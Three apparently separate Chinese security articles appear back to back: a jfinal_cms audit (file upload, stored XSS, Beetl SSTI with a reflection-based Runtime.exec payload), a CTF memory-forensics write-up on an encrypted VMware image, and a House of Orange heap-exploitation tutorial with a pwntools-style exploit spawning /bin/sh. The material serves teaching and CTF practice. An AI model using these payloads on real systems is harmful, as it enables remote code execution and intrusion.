if (maxSize != 0 && item.getSize() > (maxSize * 1024 * 1024)) {
this.error(sprintf(lang("UPLOAD_FILES_SMALLER_THAN"), maxSize + "Mb"));
error = true;
}
}
这里maxSize是默认为0。
下面的一段代码是判断是否只能上传图片，在配置文件`E:\Soures\jfinal_cms\src\main\resources\conf\filemanager.properties`下可以看到文件复写和上传文件大小设置是为0的（`0代表的是没有限制`），默认是可以上传其他文件（`upload-imagesonly=false`）。
if (!isImage(item.getName())
&& (getConfig("upload-imagesonly") != null && getConfig("upload-imagesonly").equals("true") || this.params
.get("type") != null && this.params.get("type").equals("Image"))) {
this.error(lang("UPLOAD_IMAGES_ONLY"));
error = true;
}
if (error) {
break;
}
创建临时文件，后面会用到。作用是先将上传的文件以临时文件的存放着，然后把复制到上传目录下，重新命名删除临时文件。
tmpFile = new File(this.fileRoot + TMP_PATH + "filemanager_" + System.currentTimeMillis() + ".tmp");
File filePath = tmpFile.getParentFile();
if (!filePath.exists()) {
filePath.mkdirs();
}
item.write(tmpFile);
}
}
} catch (Exception e) {
logger.error("INVALID_FILE_UPLOAD", e);
this.error(lang("INVALID_FILE_UPLOAD"));
}
文件上传后的操作，也就是上面说到的复制重命名，最后将临时文件删除。
// file rename
try {
if (!error && tmpFile != null) {
String allowed[] = {".", "-"};
if ("add".equals(params.get("mode"))) {
fileInfo = new JSONObject();
String respPath = "";
String currentPath = "";
String fileName = params.get("_fileName");
String filePath = "";
try {
currentPath = params.get("currentpath");
respPath = currentPath;
currentPath = new String(currentPath.getBytes("ISO8859-1"), "UTF-8"); // 中文转码
currentPath = getFilePath(currentPath);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
filePath = FileManagerUtils.rebulid(this.fileRoot + currentPath);
LinkedHashMap<String, String> strList = new LinkedHashMap<String, String>();
strList.put("fileName", fileName);
fileName = (String) cleanString(strList, allowed).get("fileName");
if (getConfig("upload-overwrite").equals("false")) {
fileName = this.checkFilename(filePath, fileName, 0);
}
File saveFile = new File(filePath + fileName);
tmpFile.renameTo(saveFile);
fileInfo.put("Path", respPath);
fileInfo.put("Name", fileName);
fileInfo.put("Error", "");
fileInfo.put("Code", 0);
} else if ("replace".equals(params.get("mode"))) {
fileInfo = new JSONObject();
String respPath = "";
String fileName = "";
String newFilePath = "";
String saveFilePath = "";
try {
newFilePath = params.get("newfilepath");
newFilePath = new String(newFilePath.getBytes("ISO8859-1"), "UTF-8"); // 中文转码
respPath = newFilePath.substring(0, newFilePath.lastIndexOf("/") + 1);
fileName = newFilePath.substring(newFilePath.lastIndexOf("/") + 1);
newFilePath = getFilePath(newFilePath);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
saveFilePath = FileManagerUtils.rebulid(this.fileRoot + newFilePath);
File saveFile = new File(saveFilePath);
LinkedHashMap<String, String> strList = new LinkedHashMap<String, String>();
strList.put("fileName", fileName);
fileName = (String) cleanString(strList, allowed).get("fileName");
if (getConfig("upload-overwrite").equals("false")) {
fileName = this.checkFilename(saveFile.getParent(), fileName, 0);
}
if (saveFile.exists()) {
// before bakup
bakupFile(saveFile);
// delete src file
saveFile.delete();
}
tmpFile.renameTo(saveFile);
fileInfo.put("Path", respPath);
fileInfo.put("Name", fileName);
fileInfo.put("Error", "");
fileInfo.put("Code", 0);
} else {
this.error(lang("INVALID_FILE_UPLOAD"));
}
}
} catch (Exception e) {
logger.error("INVALID_FILE_UPLOAD", e);
this.error(lang("INVALID_FILE_UPLOAD"));
}
// 临时文件处理
if (tmpFile.exists()) {
tmpFile.delete();
}
return fileInfo;
}
* * *
## 总结
1. 开发者需要通过限制上传文件大小来限制一些文件的上传，但默认配置是没有限制，很可能是开发者为了自己开发方便，但最后忘记修改设置。
2. 上传文件，判断是否是上传图片之后，没有在做其他判断限制，然后导致任意文件上传漏洞。
3. 配置文件中默认是不开启`filemanager.upload-imagesonly`需要使用者手动设置。
4. 开发者仅仅在前端做了文件上传的白名单，后端没有没有进行校验，导致黑客可以绕过前端验证，上传任意恶意文件。（前端验证本文没有体现，但真的做了限制，有详情的童鞋可以去看看。）
* * *
# 存储型XSS漏洞
* * *
## 漏洞分析
漏洞源码存在于`E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\front\controller\PersonController.java`
第一部分功能有以下几个：
1. 将提交数据Json化
2. 根据用户Session判断用户id（数据库内的id）
3. 判断旧密码和新设置的密码是否正确
4. 判断Email的格式是否正确
public void save() {
JSONObject json = new JSONObject();
json.put("status", 2);// 失败
SysUser user = (SysUser) getSessionUser();
int userid = user.getInt("userid");
SysUser model = getModel(SysUser.class);
if (userid != model.getInt("userid")) {
json.put("msg", "提交数据错误！");
renderJson(json.toJSONString());
return;
}
// 第三方用户不需要密码
if (user.getInt("usertype") != 4) {
String oldPassword = getPara("old_password");
String newPassword = getPara("new_password");
String newPassword2 = getPara("new_password2");
if (!user.getStr("password").equals(JFlyFoxUtils.passwordEncrypt(oldPassword))) {
json.put("msg", "密码错误！");
renderJson(json.toJSONString());
return;
}
if (StrUtils.isNotEmpty(newPassword) && !newPassword.equals(newPassword2)) {
json.put("msg", "两次新密码不一致！");
renderJson(json.toJSONString());
return;
} else if (StrUtils.isNotEmpty(newPassword)) { // 输入密码并且一直
model.set("password", JFlyFoxUtils.passwordEncrypt(newPassword));
}
}
if (StrUtils.isNotEmpty(model.getStr("email")) && model.getStr("email").indexOf("@") < 0) {
json.put("msg", "email格式错误！");
renderJson(json.toJSONString());
return;
}
`model.update();`方法是更新数据，将信息写入数据库。具体实习方法可以下一部分代码。
model.update();
UserCache.init(); // 设置缓存
SysUser newUser = SysUser.dao.findById(userid);
setSessionUser(newUser); // 设置session
json.put("status", 1);// 成功
renderJson(json.toJSONString());
}
* * *
首先方法会进行一个判断，然后创建一个sql语句。
public boolean update() {
filter(FILTER_BY_UPDATE);
if (_getModifyFlag().isEmpty()) {
return false;
}
Table table = _getTable();
String[] pKeys = table.getPrimaryKey();
for (String pKey : pKeys) {
Object id = attrs.get(pKey);
if (id == null)
throw new ActiveRecordException("You can't update model without Primary Key, " + pKey + " can not be null.");
}
Config config = _getConfig();
StringBuilder sql = new StringBuilder();
List<Object> paras = new ArrayList<Object>();
config.dialect.forModelUpdate(table, attrs, _getModifyFlag(), sql, paras);
if (paras.size() <= 1) { // Needn't update
return false;
}
创建数据库连接，更新数据。 可以看到执行完这步就会更新数据库内容。（`利用MySQL语句监控，可以看到最下面的一条是执行的sql语句`）
// -------- Connection conn = null;
try {
conn = config.getConnection();
int result = Db.update(config, conn, sql.toString(), paras.toArray());
if (result >= 1) {
_getModifyFlag().clear();
return true;
}
return false;
} catch (Exception e) {
throw new ActiveRecordException(e);
} finally {
config.close(conn);
}
}
/**
* * *
## 总结
1. 我们可以看到整个数据更新的过程，我们没有看到任何的防护措施，过滤字符手段。
* * *
# SSTI模板注入漏洞
## 前言
感谢长亭科技大佬@Lilc耐心指导，这个漏洞也是这位大佬挖的，我只是漏洞复现并给大家分享一下笔者构造SSTI模板注入漏洞payload经验。
* * *
漏洞存在的位置在管理员后台模板修改下，可以修改模板代码，插入恶意代码等操作。插入一段恶意代码可导致远程代码执行。
* * *
### 漏洞详情
* * *
### 漏洞分析
点击保存页面的首先会进入到`E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\filemanager\FileManagerController.java`然后判断请求方法，是POST方法会判断是upload还是saveFile，如果是saveFile方法会跳转到`E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\filemanager\FileManager.java`中的saveFile方法。
public JSONObject saveFile() {
JSONObject array = new JSONObject();
try {
String content = this.get.get("content");
content = FileManagerUtils.decodeContent(content);
// before bakup
bakupFile(new File(getRealFilePath()));
FileManagerUtils.writeString(getRealFilePath(), content);
array.put("Path", this.get.get("path"));
array.put("Error", "");
array.put("Code", 0);
} catch (JSONException e) {
logger.error("JSONObject error", e);
this.error("JSONObject error");
} catch (IOException e) {
logger.error("IOException error", e);
this.error("IOException error");
}
return array;
}
前期可以修改代码机制我们已经了解的很清楚了，没有做任何的防护措施。但这些远远达不到SSTI的要求。`判断一个系统或者CMS是否使用了任何一个模板引擎`，先有比较大众Java模板引擎有Velocity，Freemarker，而这款模板引擎是beetl，挖掘之间根本没有了解过。据查阅知道，这是一款国产的模板引擎。[官方地址](http://ibeetl.com/)，官网说有很多优势，感觉一般般，吹牛的水分比较大吧。在研究这个模板的时候，官方给[文档](http://ibeetl.com/guide/#/beetl/)真的很差，有些东西说的一知半解没有说清楚。
* * *
#### 知识补充
查阅官方文档，了解这款模板引擎调用Java方法和属性模式。
本文构造payload得有简单Java的反射机制基础。[推荐文章](https://www.cnblogs.com/haha12/p/4724204.html)，文章中用了一个简单案例再现了Java的反射。[推荐文章](https://blog.csdn.net/SECURE2/article/details/81099574?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1),文章用很多解释是关于Java反射和类加载的知识内容。[新增][推荐视频](https://www.bilibili.com/video/BV1s4411U7x9?from=search&seid=13854513651556834308)
[video(video-hkteTk7M-1587384668444)(type-bilibili)(url-<https://player.bilibili.com/player.html?aid=63805421)(image-https://ss.csdn.net/p?http://i0.hdslb.com/bfs/archive/3ea308d0ab04ed422f45dc47274940762348f4fa.jpg)(title-【Java反射机制】不懂反射机制不配当java程序员?>)]
#### Payload构造
这里笔者将payload拆解了，方便更好的解读一下payload。由于beetl模板引擎禁止了`java.lang.Runtime`和`java.lang.Process`，所以这里不能直接调用进程来达到远程代码执行的效果。这里采用Java反射机制来达到效果，当然也有其他的方法，比例写文件等。读者们可以自行尝试。
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",
@java.lang.Class.forName("java.lang.String")).invoke(
@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}
**先忽视上面的payload，下面会一步步解答，最后完整的payload**
1. 我们且看第一行，按照上面给出简单案例方法，我们应该这样子就可以了`@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(newInstance(),"calc")`
2. 但是直接String.class直接写模板是找不到的，所以我们得继续构造payload，将String.class转化`@java.lang.Class.forName("java.lang.String")`的形式，然后payload就变成下面这样子了。`@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(newInstance(),"calc")`
3. 照道理上面就可以直接使用了，但是呢Runtime类没有无参构造方法，因此不能使用newInstance()方法来实例化。只能通过调用getRuntime()方法来进行实例化。所以newInstance()得替换成`@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null)`最终payload就变成了下面这样子。
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}
* * *
# 总结
遇到使用了模板的解析CMS可以根据模板解析语言尝试执行命令，若遇到函数警用的情况可以尝试一些Bypass方法，比例一些反射、反序列化、字节码修改等。SSTI注入难的其实如何构造Payload，构造好了之后一切自然而然了。
* * *
# 参考
<http://ibeetl.com/guide/#/beetl/basic?id=%e7%9b%b4%e6%8e%a5%e8%b0%83%e7%94%a8java%e6%96%b9%e6%b3%95%e5%92%8c%e5%b1%9e%e6%80%a7> | 社区文章 |
## 前言
机密内存这道题是陇剑杯中的压轴题，题目中涉及到使用VMware加密功能进行加密的内存镜像，难度极大。我在这里详细的记录一下解题思路和过程，如有错误或疏漏的地方还请大佬们在评论区指出。
## 题目初探
拿到题目，为三个文件，其中mem_secret-963a4663.vmem为常见内存镜像文件，另外两个文件格式未知。
使用volatility进行分析无法识别profile。
接着分析分析Encryption.bin01和Encryption.bin02文件，初步分析Encryption.bin01文件，无法发现任何端倪。
Encryption.bin02内可见字符较多，通过strings命令可以判断出Encryption.bin02是使用Vmware加密后的vmx虚拟机配置文件
这里介绍一下虚拟机的配置文件vmx，改文件位于虚拟机实例的主目录下，用于记录虚拟机的配置——如虚拟机的内存、硬盘型号等，可以通过打开这个虚拟机文件以启动虚拟机的操作系统，我们也通过编辑该文件实现某种对虚拟机的配置需求。
对于同一虚拟机，在使用虚拟机加密操作前的vmx文件与加密后vmx文件是有所不同的：
未加密的vmx文件是明文显示的，显示了这个虚拟机的显示名称，cpu配置，内存配置等等。下图是为未加密的vmx文件。
在虚拟机——设置——选项——访问控制处可以配置虚拟机加密，加密后的vmx内容如下图所示，可以看到：之前以明文形式呈现的配置内容全部加密显示，无法获取这个虚拟机的配置详细信息了，并且多了keySafe内容，就存在这里。如下图：
加密后的配置只需要.encoding、displayName、encryption.keySafe和encryption.data字段的内容，.encoding为虚拟机配置文件的编码，displayName为虚拟机的名称，encryption.keySafe字段存储了虚拟机密码，格式为vmware:key/list/xxxxxxxxx
，encryption.data是原来明文数据加密过后的结果。
但是对Encryption.bin02和加密的vmx进行对比，在Encryption.bin02的结尾还有一段冗余数据：
分析这段数据，对比加密的虚拟机，通过lsiogic关键词以及内容的偏移占用空间可以确定该内容为加密虚拟机的vmdk部分
此处题目中是lsilogic，但对照虚拟机我用的是winxp，不支持lsilogic，所以是ide，而且vmx和vmdk两端数据直接有一段空行NUL数据
现已分析出Encryption.bin02为VMware虚拟机执行加密过后的配置文件，那么mem_secret-963a4663.vmem应该为运行状态虚拟机的内存页面文件，而结合常见虚拟机相关文件和文件大小可以大胆猜测Encryption.bin01为vmss文件
vmss文件用于储存虚拟机在挂起状态时的信息，为执行挂起操作后产生的文件（相当一个快照图片）
进一步对Encryption.bin01文件进行格式分析，可以发现该文件与vmware **加密状态** 挂起的虚拟机vmss文件高度相似，
**遂判断该赛题给出的文件为vmware加密文件组**
根据上述分析，题目中所给的文件全部为使用虚拟机加密过后的文件，因此后续的思路就是：
**找到虚拟机的密码，然后利用VMware加载虚拟机，将虚拟机加密功能关闭，就可以将所有文件还原成明文状态，此时就可以得到未加密状态的内存镜像，再使用volatility进行分析即可。**
## 恢复文件
在思路梳理完成之后就需要对题目的文件进行分离和修复，经过反复操作和对照发现，题目中出题人分别删除了vmx和vmss中的部分通用关键信息，分别对vmx、vmdk和vmss文件进行还原操作：
**分离和修复vmx文件**
修复前：
修复后：
**还原vmss文件**
将Encryption.bin01文件重命名为mem_secret-963a4663.vmss，注意vmss文件的文件名一定要和vmem文件名对应，否则无法读取挂起的状态。
全部还原后的文件目录结构如下：
## 打开虚拟机
要打开虚拟机，需要获取打开的密码，此题无任何提示信息，猜测密码需要通过暴力破解的方式拿到，使用加密的vmx文件，利用pyvmx-cracker工具爆破虚拟机的密码。
得到密码为1q2w3e4r
成功打开挂起状态的虚拟机
开机后发现无法打开，根据报错提示判断缺少vmdk虚拟磁盘文件，但是虚拟磁盘文件中包含一定的加密信息，此时我们已经获得了加密虚拟机的密码，因此可以自己创建一个新的虚拟机。
但是直接将这个vmdk加载到虚拟机是不行的，因为待加载的虚拟机使用了VMware加密，vmdk也会一起加密，在打开的时候会先对vmdk进行解密操作，分析未加密虚拟机的vmdk和已加密虚拟机vmdk作比较，发现使用Encryption.bin02的结尾还有一段冗余数据直接替换自己生成的vmdk加密磁盘头部即可，后经过操作发现这段数据是VMware打开虚拟机时，对vmdk进行解密的密钥串，关系到加密虚拟机的vmdk能否正常解密，这时候就是磁盘数据。
那么只要执行如下操作即可：
**创建一个新的虚拟机，创建的时候参数配置通过在Encryption.bin02的数据里捕风捉影（可以看出，出题人使用的都是默认配置），使用1q2w3e4r这个密码对虚拟机进行加密，然后将加密过后的虚拟机的vmdk文件拿出来给原来题目中提取的虚拟机使用，但是使用前需要替换掉头部的加密串信息。**
**分离和修复vmdk文件**
修复前：
修复后：
此时虚拟机修复完成，已经可以成功将虚拟机移除解密， **注意：虚拟机不能点开机，否则内存镜像文件vmem将被删除**
解密移除完成后，当前目录下的vmem文件即为未使用VMware加密的虚拟机内存镜像文件，此时理论上讲，已经可以使用volatility正常分析，尝试使用volatility2分析发现仍然搜索不到profile，推测题目为Windows10的内存镜像文件，遂使用Volatility3进行分析。
Volatility3是对Volatility2的重写，它基于Python3编写，对Windows
10的内存取证很友好，且速度比Volatility2快很多。对于用户而言，新功能的重点包括：大幅提升性能，消除了对--profile的依赖，以便框架确定需要哪个符号表（配置文件）来匹配内存示例中的操作系统版本，在64位系统（例如Window的wow64）上正确评估32位代码，自动评估内存中的代码，以避免对分析人员进行尽可能多的手动逆向工程等。
python3 vol.py -f mem_secret-963a4663.vmem windows.info
使用Volatility3可以看到操作系统版本是Windows10，且根据Major/Minor
15.18362可以确定具体的操作系统profile配置文件。在Volatility2 中使用--info看到具体对应的profile为Win10x86_18362，此后即可回归到volatility2，手动指定profile即可解题。
## 题目解答
**（1）取证人员首先对容器的基本信息进行核实，经过确定该容器的基本信息为 ** ____**
。（答案为32位小写md5(容器操作系统系统的版本号+容器主机名+系统用户名），例如：操作系统的版本号为10.0.22449，容器主机名为DESKTOP-0521,系统登录用户名为admin，则该题答案为32位小写md5(10.0.22449DESKTOP-0521admin)
的值ae278d9bc4aa5ee84a4aed858d17d52a)**
使用dumpregistry、WRR.exe对内存镜像进行注册表分析，发现主机名为DESKTOP-4N21ET2，系统的版本号为6.3.18363，系统登录用户名为Ado，则计算小写32位md5(6.3.18363DESKTOP-4N21ET2Ado)值为38c9307280315a1888681d133658e6ce。
使用dumpregistry导出注册表相关文件：
python2 vol.py -f mem_secret-963a4663.vmem --profile=Win10x64_18362 dumpregistry -D ./
使用WRR解析SYSTEM.reg文件获取到主机名为DESKTOP-4N21ET2
解析SOFTWARE.reg获得系统的版本号为6.3.18363
使用windows.filescan，导出结果搜索Desktop发现用户名为Ado
**（2）黑客入侵容器后曾通过木马控制端使用Messagebox发送过一段信息，该信息的内容是 ** ** ____****
。（答案为Messagebox信息框内内容）**
第二题的答案即为上面挂起状态虚拟机中看到的界面Messagebox内容：Best_hacker
**（3）经过入侵分析发现该容器受到入侵的原因为容器使用人的违规进行游戏的行为，该使用人进行游戏程序的信息是 ** **__****
。（答案为“32位小写md5(游戏程序注册邮箱+游戏程序登录用户名+游戏程序登录密码)，例如：注册邮箱为[email protected],登录用户名为user,密码为user1234，则该题答案为”
[email protected]”的小写md5值5f4505b7734467bfed3b16d5d6e75c16)**
根据题目要求，分析游戏程序，使用pslist查看进程信息可发现存在大量steam进程，对steam进程块使用winhex进行邮箱正则匹配，匹配到steam注册邮箱为[email protected]：
根据steam的登录特征，在steam进程块以及注册邮箱偏移地址附近，搜索关键词steamusername、password可以发现steam平台的登录信息，即用户名为jock_you1，密码为，jock.2021：
合并邮箱和用户名密码为[email protected]_you1jock.2021，计算md5小写32为值为：39a9ac5a37f4a4ce27b1227cf83700a6
**（4）经过入侵分析发现该容器曾被黑客植入木马控制的信息是 ** **_****
。（答案为“32位小写md5(木马程序进程名+木马回连ip地址+木马回连ip端口）”，例如：木马程序进程名为svhost.exe，木马回连ip为1.1.1.1，木马回连端口为1234，则该题答案为“svhost.exe1.1.1.11234”的32位小写md5值f02da74a0d78a13e7944277c3531bbea)**
使用pstree、netscan进行恶意程序分析，在使用pstree时发现伪装为steam的木马程序steam.exe，该程序并非steam自身程序且Wow64标识为True，并进行进程导出扫描，杀毒软件确切报毒。
python3 vol.py -f mem_secret-963a4663.vmem windows.pstree
使用netscan扫描容器的网络连接情况，并对导出的steam.exe木马程序进行动态测试，发现木马程序回连ip为192.168.241.147，端口号为8808，与netscan中一致：
**（5）经过入侵分析，发现黑客曾经运行过痕迹清除工具，该工具运行的基本信息是 ** ____**
。（答案为“32为小写md5”(痕迹清除工具执行程序名+最后一次运行时间)，例如：黑客运行工具执行程序名为run.exe，运行时间为2021-07-10
10:10:13，则本题的答案为小写的32位md5(run.exe2021-07-10 10:10:13)
值为82d7aa7a3f1467b973505702beb35769，注意：本题中运行时间的格式为yy-mm-dd
hh:mm:ss，时间时区为UTC+8）**
需要分析程序最后运行时间，使用userassist注册表分析程序的运行情况，并结合filescan扫描容器内文件情况，二者结合可以发现存储在容器桌面的无影无踪痕迹清理软件，该软件的程序执行名为：Wywz.exe，程序的运行时间结合userassist可以发现为2021-09-10
21:10:13 UTC+8（注意时区的转换），则该题答案为小写32位md5(Wywz.exe2021-09-1021:10:13)
d46586ca847e6be1004037bc288bf60c
python2 vol.py -f mem_secret-963a4663.vmem --profile=Win10x64_18362 userassist
## 参考文章
<https://blog.csdn.net/l_liangkk/article/details/111397818>
<https://blog.csdn.net/qq_32261191/article/details/106239170>
<https://mp.weixin.qq.com/s/POoQB0MCWstBALFePeXx9Q>
<https://github.com/swanQs/pyvmx-cracker>
<https://github.com/RF3/VMwareVMX>
<https://communities.vmware.com/t5/VMware-Fusion-Discussions/Is-there-a-tool-to-allow-editing-of-an-encrypted-VMX-config-file/m-p/1806977> | 社区文章 |
# House of orange
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者: Alter@星盟
## House of orange
### 1、原理概述
house of orange其实是一个组合漏洞，主要针对于没有free函数的程序。因为没有free函数所以需要通过申请比top chunk
size大的chunk，讲top chunk放到unsorted bin中，然后利用unsorted bin
attack结合FSOP，也就是通过修改IO_list_all劫持到伪造的IO_FILE结构上，从而getshell。
需要注意的是这种方法只适用于libc-2.23及之前的版本，2.23之后的版本增加了vtable check，也有办法绕过，具体参照ex师傅的博客：
<http://blog.eonew.cn/archives/1093#glibc-227>
但是2.27及之后的版本取消了abort刷新流的操作，所以这个方法基本就失效了
### 2、free top chunk
当申请的size大于top chunk的时候，会调用sysmalloc进行分配，这时会分为两种情况：
如果我们申请的size>=mp_.mmap_threshold（0x20000），就会调用mmap分配；
如果没有满足上述条件，就会扩展top chunk，也就是free old top chunk，再重新申请一个top
chunk，但是这个过程中还有两个assert检查：
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & pagemask) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
第一个assert需要top chunk的size满足以下条件：
（1）top chunk size>MINISIZE（0x10），总之就是不能太小
（2）top chunk需要有pre_inuse的标志，也就是最后一位需要是1
（3）old_top+old_size的值是页对齐的
一般来说top
chunk的size都是0x20af1这样子的，我们修改的时候只需要保持最后3个数不变即可，上述例子就是修改为0xaf1，这样就可以满足第一个assert的判断
第二个assert的检查：
（4）top chunk size小于申请的size
一般我们按照上面的方法修改top chunk size，都是<0x1000，所以这里我们申请0x1000就可以满足第二个assert
满足上面两个assetr的条件之后，top chunk就会被free到unsorted bin中，然后重新申请一个top
chunk，此时我们达到了目的，不使用free函数获得一个unsorted bin中的chunk
### 3、FSOP
**（1）FSOP原理**
参照ctfWiki，下面是我对ctfWiki的整理：
由IO_FILE的介绍可知，进程中所有的FILE结构体会通过_chain域构成一个链表，IO_list_all就是作为头结点维护的
FSOP的原理就是劫持IO_list_all的值伪造链表和其中的IO_FILE结构体，主要就是将vtable的值修改为我们伪造了函数指针的fake_FILE地址。但是单纯的伪造数据还不够，需要找到一个机制触发，执行我们伪造的数据。FSOP采用的就是调用IO_flush_all_lockp，这个函数会刷新IO_list_all链表中所有项的文件流，相当于对每个文件流调用了fflush函数，所以对应着也调用了IO_overflow，而这个函数需要通过vtable的函数指针调用。之前我们已经将vtable伪造，所以最终实现控制程序流。
而_IO_flush_all_lockp不需要攻击者手动调用，在一些情况下这个函数会被系统调用：
* 当libc执行abort流程时
* 当执行exit函数时
* 当执行流从main函数返回时
其实在一般情况下，也就是在house of orange的题目中，_IO_flush_all_lockp的调用关系是这样的：
**libc_malloc = > malloc_printerr => **libc_message => abort =>
_IO_flush_all_lockp
ctf-wiki中的示意图如下：
在调用_IO_flush_all_lockp的过程中的源代码如下：
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
如果要调用IO_overflow还需要满足以下几个条件：
* fp->_mode <= 0
* fp->_IO_write_ptr > fp->_IO_write_base
所以我们需要分配一块可控的内存，一般就是堆上的chunk，用于构造伪造的vtable和_IO_FILE，为了执行IO_overflow，我们需要绕过上面的if判断，假设已知_IO_write_ptr，_IO_write_base，_mode的偏移，这样我们就可以构造相应的数据
所以构造_mode=0，_IO_write_ptr=1，_IO_write_base=0，就可以绕过判断执行overflow
需要注意的是这种方法只适用于libc-2.23及之前的版本，2.23之后的版本增加了vtable check，也有办法绕过，具体参照ex师傅的博客：
<http://blog.eonew.cn/archives/1093#glibc-227>
但是2.27及之后的版本取消了abort刷新流的操作，所以这个方法基本就失效了
**（2）house of orange中FSOP过程**
house of orange的主要过程就是通过unsorted bin attack修改IO_list_all，但是unsorted bin
attack写入的地址不是我们可控的，写入的是main
arena+88，所以需要通过某个中间媒介。我们发现在IO_list_all+0x68的位置是chain域（用于链接FILE结构体链表的指针域），然后又发现main
arena+88+0x68的位置是smallbin中size=0x60的chunk数组，这个smallbin中0x60的数组中的chunk是我们可以构造的，也就是我们是可控的，所以可以在这里伪造fake
file结构体。在house of orange中采用的方法就是将old top
chunk的size修改为0x60这样就会被我们链入smallbin的0x60的数组中，同时在old top chunk中构造fake
file结构体（就是FSOP中的构造方法），通过执行overflow的if判断（IO_write_base=0,IO_write_ptr=1,mode=0），布置好vtable和system函数，令_IO_file_jumps中overflow的函数指针是system函数，/bin/sh参数的话就布置到fake
file结构体的开头，因为调用vtable中函数的时候，会将IO_FILE指针作为函数的参数。
需要注意的是house of orange中由于_mode因随机化有1/2的几率是负数，所以成功几率是1/2.
house of orange中的函数调用流程：
**__libc_malloc** => **malloc_printerr** => **libc_message** => **abort** =>
**_IO_flush_all_lockp**
malloc_printerr是malloc中用来打印错误的函数，所以house of
orange最后getshell的时候前面会有一个报错，显示malloc出错了，这是正常现象，一开始我还以为哪里出问题了，，，
### 4、例题（hitcon-house of orange）
**（1）常规检查**
保护全开
**（2）IDA分析**
有增改查函数，没有free函数
* build函数
只能使用4次，每次build的时候会申请3次，两次malloc和一次calloc，固定0x20大小的chunk作为标记chunk，calloc的chunk用于记录颜色和价格，中间的malloc会申请我们输入的size的chunk，最大0x1000，用于记录name
* upgrade函数
只能使用两次，要求我们再次输入length，并且没和build的length进行比较，所以这里存在堆溢出漏洞，最多可以输入0x1000字节数据
* show函数
就是将house中的信息打印出来，可以用于泄露地址信息
需要注意的是，这题没有一个堆数组，所有upgrade和show函数都是针对最新添加的那个house操作的
**（3）利用思路**
* 泄露libc地址
add(0x10,'a')
payload='a'*0x18+p64(0x21)+p32(1)+p32(0x1f)+p64(0)*2+p64(0xfa1)
edit(len(payload),payload)
add(0x1000,'a')
add(0x400,'a')
show()
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-1601-0x3c4b20
print hex(libcbase)
先申请一个chunk，通过堆溢出修改top chunk的size，然后申请一个0x1000的chunk，将top chunk放入到unsorted
bin中，然后申请一个largebin size的chunk，这样拿到的chunk中就会有main
arena地址和heap的地址，只有申请largebin才有heap地址。
**_关于这里为什么只有申请largebin chunk切割unsorted bin才有fd_nextsize和bk_nextsize？_**
主要和malloc切割unsorted bin的机制有关，如果unsorted bin中只有一个chunk且这个chunk是last remainder
chunk，这时我们申请的chunk是smallbin size，如果unsorted bin中的这个chunk大于我们申请的smallbin
size+MINISIZE，这个unsorted bin chunk就会直接被分割出来我们所需的smallbin
chunk，不会被整理到largebin中，所以没有fd_nextsize和bk_nextsize。但是我们如果申请largebin
chunk的话，这个条件就不会满足，然后unsorted bin chunk就会先被整理到largebin中，再分割出一个largebin
chunk给我们。
* 泄露heap地址
edit(0x10,'a'*16)
#z()
show()
rc(0x20)
heapbase=u64(rc(6).ljust(8,'\x00'))-0xc0
print hex(heapbase)
_IO_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']
由于show函数遇到’\x00’就会停止打印，所以泄露出main arena之后还需要通过edit写入0x10个a，show打印出heap地址
* FSOP
payload='a'*0x400+p64(0)+p64(0x21)+'a'*0x10
fake_file='/bin/sh\x00'+p64(0x60)
fake_file+=p64(0)+p64(_IO_list_all-0x10)#unsorted bin attack
fake_file+=p64(0)+p64(1)#IO_write_ptr>IO_write_base
fake_file=fake_file.ljust(0xc0,'\x00')#_mode=0
payload+=fake_file
payload+=p64(0)*3+p64(heapbase+0x5c8)
payload+=p64(0)*2+p64(system)
#z()
edit(0x800,payload)
此时我们有一个0x400的chunk，unsorted bin中还有剩下的top chunk，因为存在堆溢出，所以unsorted
bin中chunk是我们可以控制的，接下来根据FSOP的步骤，需要劫持_IO_list_all，根据上面的解释，我们通过unsorted bin
attack将main arena+88的地址写入到_IO_list_all，同时将old top chunk也就是unsorted
bin中的chunk的size修改为0x60且在old top chunk中布置伪造的IO_FILE，写入之后，old top
chunk就会被链入smallbin的0x60数组中，这个数组的地址正好在伪造的IO_list_all的_chain域，所以old top
chunk此时被放入了IO_FILE结构体链表中。
上面需要注意的就是/bin/sh的参数问题，/bin/sh参数的话就布置到fake
file结构体的开头，因为调用vtable中函数的时候，会将IO_FILE指针作为函数的参数
查看一下是否IO_FILE结构体是否伪造成功：
发现构造成功，FSOP的条件满足，vtable就是指向我们的堆地址了
再看看vtable指向的IO_file_jumps是否构造成功：
发现_overflow函数指针地址处就是system函数地址
我们直接把IO_file_jumps布置到IO_FILE后面了，上图一个是vtable，一个是system函数
* 触发
ru(':')
sl('1')
所以当我们向unsorted bin申请chunk的时候就会触发unsorted bin
